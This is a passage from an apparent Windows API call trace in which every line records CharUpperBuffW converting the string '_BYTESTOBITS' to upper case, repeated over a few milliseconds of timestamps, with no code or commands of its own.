lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.187] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.188] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.189] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.190] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.191] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.192] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.193] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.194] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.195] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.196] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.197] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.198] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.199] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.200] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.201] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.202] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.203] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.204] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.205] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.206] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.207] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.208] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.209] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.210] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.211] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.211] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.211] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0038.211] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 